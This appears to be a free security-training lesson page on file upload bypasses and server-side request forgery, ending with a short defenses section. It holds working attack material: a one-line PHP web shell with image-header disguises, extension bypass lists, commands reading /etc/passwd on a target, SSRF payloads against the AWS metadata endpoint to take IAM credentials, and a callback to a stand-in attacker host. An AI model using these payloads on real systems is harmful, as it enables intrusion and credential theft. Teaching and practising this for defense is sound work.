0Pricing
Cyber Security Academy · Lesson

File Upload and SSRF Vulnerabilities

Bypass file upload restrictions, exploit SSRF to access internal services, and chain vulnerabilities.

File Upload and SSRF Vulnerabilities is a free Cyber Security Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

File Upload Vulnerabilities

File upload functionality is one of the highest-risk features in web apps. Insufficient validation allows uploading executable files (PHP, JSP, ASPX) that the server then executes — leading to remote code execution.

Basic Upload Bypass: Extension Filtering

Client-side and blacklist-based extension filters are bypassable. Try: double extensions (.php.jpg), case variations (.PhP), null bytes (file.php%00.jpg), and alternative extensions (.php5, .phtml, .phar).

# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP

# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cer

MIME Type Bypass

Servers often check the Content-Type header, not the actual file content. Intercept the upload request in Burp and change Content-Type from application/x-php to image/jpeg.

# In Burp Repeater, modify:
Content-Type: image/jpeg

# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>

Magic Bytes Bypass

Some servers check file magic bytes (first bytes of file). Prepend valid image magic bytes before the PHP payload to pass the check while keeping executable content.

# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload

# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>

Web Shell After Upload

Once a PHP/JSP file is uploaded and accessible via URL, trigger it to execute commands. The simplest web shell: 

# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>

# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd

What is SSRF?

Server-Side Request Forgery (SSRF) tricks the server into making HTTP requests to arbitrary URLs on behalf of the attacker. This accesses internal services, cloud metadata APIs, and internal admin interfaces.

Basic SSRF Detection

Find parameters that accept URLs (webhooks, preview URLs, fetch endpoints, image URLs). Inject internal addresses and observe responses — timeout vs connection refused vs valid response indicates what is accessible.

# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/  # AWS metadata
?url=http://internal-service:8080/admin

# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/

AWS Metadata API via SSRF

The AWS Instance Metadata Service (IMDS) at 169.254.169.254 exposes IAM role credentials. SSRF to this endpoint can leak cloud credentials enabling full account takeover.

# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}

Blind SSRF

When there is no response body reflection, use out-of-band techniques: DNS lookup to Burp Collaborator confirms connectivity; HTTP callback with path data exfiltrates information.

# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh

?url=http://attacker.interactsh.com/ssrf-test

SSRF Bypass Techniques

Filters blocking obvious internal IPs can be bypassed with: IP encoding (decimal 0x7f000001 = 127.0.0.1), DNS rebinding, alternative loopback addresses (127.1, 0.0.0.0), and URL redirection.

# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433  # decimal
http://0x7f000001  # hex
http://0177.0.0.1  # octal
http://localhost

Defenses Against File Upload and SSRF

File upload: allowlist only safe extensions, store outside web root, rename files server-side, serve via CDN. SSRF: allowlist permitted URLs/IP ranges, disable unnecessary URL-fetching features, enforce IMDSv2 on AWS.

Quick Check

What IP does an SSRF attack target to steal AWS credentials?

Summary: File Upload and SSRF

File upload flaws lead to remote code execution; SSRF leads to internal network access and credential theft. Test uploads with extension, MIME type, and magic byte bypasses. Test URL parameters for SSRF by targeting localhost, internal subnets, and cloud metadata APIs. Both require defense in depth: allowlisting over blacklisting, network segmentation, and cloud hardening.

Frequently asked questions

Is the “File Upload and SSRF Vulnerabilities” lesson free?

Yes — the full text of “File Upload and SSRF Vulnerabilities” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.

What will I learn in “File Upload and SSRF Vulnerabilities”?

Bypass file upload restrictions, exploit SSRF to access internal services, and chain vulnerabilities. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cyber Security Academy?

No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “File Upload and SSRF Vulnerabilities” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cyber Security Academy lesson?

Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Burp Suite Proxy and Intercepting Requests
  2. Testing for Injection Vulnerabilities
  3. Authentication and Session Testing
  4. File Upload and SSRF Vulnerabilities
← Back to Cyber Security Academy